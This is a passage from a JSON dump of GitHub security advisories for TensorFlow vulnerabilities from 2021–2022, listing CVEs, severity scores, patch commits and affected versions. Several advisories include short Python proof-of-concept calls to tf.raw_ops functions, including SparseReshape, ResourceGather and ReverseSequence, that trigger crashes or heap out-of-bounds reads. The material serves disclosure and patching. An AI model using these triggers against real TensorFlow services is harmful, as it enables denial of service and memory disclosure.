tf.zeros([0], dtype=tf.int64)\n  \nthresh = 0\n\ntf.raw_ops.SparseAdd(a_indices=a_indices,\n                    a_values=a_values,\n                    a_shape=a_shape,\n                    b_indices=b_indices,\n                    b_values=b_values,\n                    b_shape=b_shape,\n                    thresh=thresh)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/656e7673b14acd7835dc778867f84916c6d1cac2/tensorflow/core/kernels/sparse_add_op.cc) has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of `*_indices` matches the size of corresponding `*_shape`. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation.\n\n### Patches\nWe have patched the issue in GitHub commit [6fd02f44810754ae7481838b6a67c5df7f909ca3](https://github.com/tensorflow/tensorflow/commit/6fd02f44810754ae7481838b6a67c5df7f909ca3) followed by GitHub commit  [41727ff06111117bdf86b37db198217fd7a143cc](https://github.com/tensorflow/tensorflow/commit/41727ff06111117bdf86b37db198217fd7a143cc).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-05-21T14:28:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cjc7-49v2-jp64","https://nvd.nist.gov/vuln/detail/CVE-2021-29609","https://github.com/tensorflow/tensorflow/commit/41727ff06111117bdf86b37db198217fd7a143cc","https://github.com/tensorflow/tensorflow/commit/6fd02f44810754ae7481838b6a67c5df7f909ca3","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-537.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-735.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-246.yaml","https://github.com/advisories/GHSA-cjc7-49v2-jp64"],"source_kind":"github","identifiers":["GHSA-cjc7-49v2-jp64","CVE-2021-29609"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":28.233190510605887,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.405Z","updated_at":"2024-11-13T16:19:58.000Z","epss_percentage":0.00048,"epss_percentile":0.14448},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTlycGMtNXY5cS01cjdm","url":"https://github.com/advisories/GHSA-9rpc-5v9q-5r7f","title":"Incomplete validation in `SparseReshape`","description":"### Impact\nIncomplete validation in `SparseReshape` results in a denial of service based on a `CHECK`-failure.\n\n```python\nimport tensorflow as tf\n\ninput_indices = tf.constant(41, shape=[1, 1], dtype=tf.int64)\ninput_shape = tf.zeros([11], dtype=tf.int64)\nnew_shape = tf.zeros([1], dtype=tf.int64)\n\ntf.raw_ops.SparseReshape(input_indices=input_indices,\n    input_shape=input_shape,\n    new_shape=new_shape)\n``` \n    \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/e87b51ce05c3eb172065a6ea5f48415854223285/tensorflow/core/kernels/sparse_reshape_op.cc#L40) has no validation that the input arguments specify a valid sparse tensor.\n\n### Patches \nWe have patched the issue in GitHub commit [1d04d7d93f4ed3854abf75d6b712d72c3f70d6b6](https://github.com/tensorflow/tensorflow/commit/1d04d7d93f4ed3854abf75d6b712d72c3f70d6b6).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3, as these are the only affected versions.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:28:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9rpc-5v9q-5r7f","https://nvd.nist.gov/vuln/detail/CVE-2021-29611","https://github.com/tensorflow/tensorflow/commit/1d04d7d93f4ed3854abf75d6b712d72c3f70d6b6","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-539.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-737.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-248.yaml","https://github.com/advisories/GHSA-9rpc-5v9q-5r7f"],"source_kind":"github","identifiers":["GHSA-9rpc-5v9q-5r7f","CVE-2021-29611"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.433Z","updated_at":"2024-11-13T16:22:28.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdmdngtM2pmYy0yY3Bj","url":"https://github.com/advisories/GHSA-7fvx-3jfc-2cpc","title":"Heap OOB in `ResourceScatterUpdate`","description":"### Impact\nAn attacker can trigger a read from outside of bounds of heap allocated data by sending invalid arguments to `tf.raw_ops.ResourceScatterUpdate`:\n\n```python\nimport tensorflow as tf\n\nv = tf.Variable([b'vvv'])\ntf.raw_ops.ResourceScatterUpdate(\n  resource=v.handle,\n  indices=[0],\n  updates=['1', '2', '3', '4', '5'])\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/resource_variable_ops.cc#L919-L923) has an incomplete validation of the relationship between the shapes of `indices` and `updates`: instead of checking that the shape of `indices` is a prefix of the shape of `updates` (so that broadcasting can happen), code only checks that the number of elements in these two tensors are in a divisibility relationship.\n\n### Patches \nWe have patched the issue in GitHub commit [01cff3f986259d661103412a20745928c727326f](https://github.com/tensorflow/tensorflow/commit/01cff3f986259d661103412a20745928c727326f).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n    \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n    \n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-08-25T14:42:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-7fvx-3jfc-2cpc","https://nvd.nist.gov/vuln/detail/CVE-2021-37655","https://github.com/tensorflow/tensorflow/commit/01cff3f986259d661103412a20745928c727326f","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-568.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-766.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-277.yaml","https://github.com/advisories/GHSA-7fvx-3jfc-2cpc"],"source_kind":"github","identifiers":["GHSA-7fvx-3jfc-2cpc","CVE-2021-37655"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.0745402714209,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.712Z","updated_at":"2024-11-13T17:28:44.000Z","epss_percentage":0.00014,"epss_percentile":0.01485},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTJyOHAtZmczYy13Y2o0","url":"https://github.com/advisories/GHSA-2r8p-fg3c-wcj4","title":"Heap OOB and CHECK fail in `ResourceGather`","description":"### Impact\nAn attacker can trigger a crash via a `CHECK`-fail in debug builds of TensorFlow using `tf.raw_ops.ResourceGather` or a read from outside the bounds of heap allocated data in the same API in a release build:\n\n```python\nimport tensorflow as tf\n\ntensor = tf.constant(value=[[1,2],[3,4],[5,6]],shape=(3,2),dtype=tf.uint32)\nv = tf.Variable(tensor)\ntf.raw_ops.ResourceGather(\n  resource=v.handle,\n  indices=[0],\n  dtype=tf.uint32,\n  batch_dims=10,\n  validate_indices=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/resource_variable_ops.cc#L660-L668) does not check that the `batch_dims` value that the user supplies is less than the rank of the input tensor.\n\nSince the implementation uses several for loops over the dimensions of `tensor`, this results in reading data from outside the bounds of heap allocated buffer backing the tensor:\n\n```cc\n    // batch_dims_ = \u003e params.dims() (10 \u003e 2)\n    for (int i = 0; i \u003c batch_dims_; ++i) {\n      result_shape.AddDim(params.dim_size(i));\n    }\n    for (int i = batch_dims_; i \u003c indices.dims(); ++i) {\n      result_shape.AddDim(indices.dim_size(i));\n    }\n    for (int i = batch_dims_ + 1; i \u003c params.dims(); ++i) {\n      result_shape.AddDim(params.dim_size(i));\n    }\n```\n\nIn debug mode, `.dim_size(i)` validates that the argument is less than `.dims()` using a `DCHECK`. But the `DCHECK` is a no-op in release builds.\n\n### Patches\nWe have patched the issue in GitHub commit [bc9c546ce7015c57c2f15c168b3d9201de679a1d](https://github.com/tensorflow/tensorflow/commit/bc9c546ce7015c57c2f15c168b3d9201de679a1d).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-08-25T14:43:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-2r8p-fg3c-wcj4","https://nvd.nist.gov/vuln/detail/CVE-2021-37654","https://github.com/tensorflow/tensorflow/commit/bc9c546ce7015c57c2f15c168b3d9201de679a1d","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-567.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-765.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-276.yaml","https://github.com/advisories/GHSA-2r8p-fg3c-wcj4"],"source_kind":"github","identifiers":["GHSA-2r8p-fg3c-wcj4","CVE-2021-37654"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.0745402714209,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.741Z","updated_at":"2024-11-13T17:28:12.000Z","epss_percentage":0.00014,"epss_percentile":0.01485},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXd2anctcDlmNS12cTI4","url":"https://github.com/advisories/GHSA-wvjw-p9f5-vq28","title":"Segfault in `tf.raw_ops.SparseCountSparseOutput`","description":"### Impact\nPassing invalid arguments (e.g., discovered via fuzzing) to `tf.raw_ops.SparseCountSparseOutput` results in segfault.\n\n### Patches\nWe have patched the issue in GitHub commit [82e6203221865de4008445b13c69b6826d2b28d9](https://github.com/tensorflow/tensorflow/commit/82e6203221865de4008445b13c69b6826d2b28d9).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:29:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-wvjw-p9f5-vq28","https://nvd.nist.gov/vuln/detail/CVE-2021-29619","https://github.com/tensorflow/tensorflow/commit/82e6203221865de4008445b13c69b6826d2b28d9","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-547.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-745.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-256.yaml","https://github.com/advisories/GHSA-wvjw-p9f5-vq28"],"source_kind":"github","identifiers":["GHSA-wvjw-p9f5-vq28","CVE-2021-29619"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.564Z","updated_at":"2024-11-13T16:30:05.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"GSA_kwCzR0hTQS02MjdxLWcyOTMtNDlxN80ovQ","url":"https://github.com/advisories/GHSA-627q-g293-49q7","title":"Abort caused by allocating a vector that is too large in Tensorflow","description":"### Impact\nDuring shape inference, TensorFlow can [allocate a large vector](https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/framework/shape_inference.cc#L788-L790) based on a value from a tensor controlled by the user:\n\n```cc\n  const auto num_dims = Value(shape_dim);\n  std::vector\u003cDimensionHandle\u003e dims;\n  dims.reserve(num_dims);\n``` \n  \n### Patches           \nWe have patched the issue in GitHub commit [1361fb7e29449629e1df94d44e0427ebec8c83c7](https://github.com/tensorflow/tensorflow/commit/1361fb7e29449629e1df94d44e0427ebec8c83c7).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-02-07T22:01:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-627q-g293-49q7","https://github.com/tensorflow/tensorflow/commit/1361fb7e29449629e1df94d44e0427ebec8c83c7","https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/framework/shape_inference.cc#L788-L790","https://nvd.nist.gov/vuln/detail/CVE-2022-23580","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-89.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-144.yaml","https://github.com/advisories/GHSA-627q-g293-49q7"],"source_kind":"github","identifiers":["GHSA-627q-g293-49q7","CVE-2022-23580"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:35.974Z","updated_at":"2024-11-07T22:28:14.000Z","epss_percentage":0.00301,"epss_percentile":0.52964},{"uuid":"GSA_kwCzR0hTQS13Y3Y1LXZydnItM3J4Ms0ojA","url":"https://github.com/advisories/GHSA-wcv5-vrvr-3rx2","title":"Integer Overflow or Wraparound in TensorFlow","description":"### Impact\nThe Grappler component of TensorFlow is vulnerable to a denial of service via `CHECK`-failure (assertion failure) in [constant folding](https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/grappler/optimizers/constant_folding.cc#L963-L1035):\n\n```cc\n  for (const auto\u0026 output_prop : output_props) {\n    const PartialTensorShape output_shape(output_prop.shape());\n    // ...\n  }\n```\n  \nThe `output_prop` tensor has a shape that is controlled by user input and this can result in triggering one of the `CHECK`s in the `PartialTensorShape` constructor. This is an instance of [TFSA-2021-198](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md) (CVE-2021-41197).\n\n### Patches\nWe have patched the issue in GitHub commit [be7b286d40bc68cb0b56f702186cc4837d508058](https://github.com/tensorflow/tensorflow/commit/be7b286d40bc68cb0b56f702186cc4837d508058).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-02-09T23:34:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-prcg-wp5q-rv7p","https://github.com/tensorflow/tensorflow/security/advisories/GHSA-wcv5-vrvr-3rx2","https://github.com/tensorflow/tensorflow/commit/be7b286d40bc68cb0b56f702186cc4837d508058","https://github.com/advisories/GHSA-wcv5-vrvr-3rx2"],"source_kind":"github","identifiers":["GHSA-wcv5-vrvr-3rx2"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:36.795Z","updated_at":"2023-01-11T05:04:26.000Z","epss_percentage":null,"epss_percentile":null},{"uuid":"GSA_kwCzR0hTQS00M3E4LTNmdjctcHI1eM0oiw","url":"https://github.com/advisories/GHSA-43q8-3fv7-pr5x","title":"Improper Validation of Integrity Check Value in TensorFlow","description":"### Impact\nThe implementation of [`tf.sparse.split`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/sparse_split_op.cc#L26-L102) does not fully validate the input arguments. Hence, a malicious user can trigger a denial of service via a segfault or a heap OOB read:\n\n```python\nimport tensorflow as tf\ndata = tf.random.uniform([1, 32, 32], dtype=tf.float32)\naxis = [1, 2]\nx = tf.sparse.from_dense(data)\nresult = tf.sparse.split(x,3, axis=axis)\n```\nThe code assumes `axis` is a scalar. This is another instance of [TFSA-2021-190](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-190.md) (CVE-2021-41206).\n\n### Patches\nWe have patched the issue in GitHub commit [61bf91e768173b001d56923600b40d9a95a04ad5](https://github.com/tensorflow/tensorflow/commit/61bf91e768173b001d56923600b40d9a95a04ad5) (merging [#53695](https://github.com/tensorflow/tensorflow/pull/53695)).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/53660).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T23:37:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-43q8-3fv7-pr5x","https://github.com/tensorflow/tensorflow/security/advisories/GHSA-pgcq-h79j-2f69","https://github.com/tensorflow/tensorflow/pull/53695","https://github.com/tensorflow/tensorflow/commit/61bf91e768173b001d56923600b40d9a95a04ad5","https://github.com/advisories/GHSA-43q8-3fv7-pr5x"],"source_kind":"github","identifiers":["GHSA-43q8-3fv7-pr5x"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:36.804Z","updated_at":"2023-01-11T05:04:25.000Z","epss_percentage":null,"epss_percentile":null},{"uuid":"GSA_kwCzR0hTQS02Z212LXBqcDktcDh3OM0obg","url":"https://github.com/advisories/GHSA-6gmv-pjp9-p8w8","title":"Out of bounds read in Tensorflow","description":"### Impact \nThe [implementation of shape inference for `ReverseSequence`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/ops/array_ops.cc#L1636-L1671) does not fully validate the value of `batch_dim` and can result in a heap OOB read:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  y = tf.raw_ops.ReverseSequence(\n    input = ['aaa','bbb'],\n    seq_lengths = [1,1,1],\n    seq_dim = -10,\n    batch_dim = -10 )\n  return y\n    \ntest()\n```\n\nThere is a check to make sure the value of `batch_dim` does not go over the rank of the input, but there is no check for negative values:\n\n```cc\n  const int32_t input_rank = c-\u003eRank(input);\n  if (batch_dim \u003e= input_rank) {\n    return 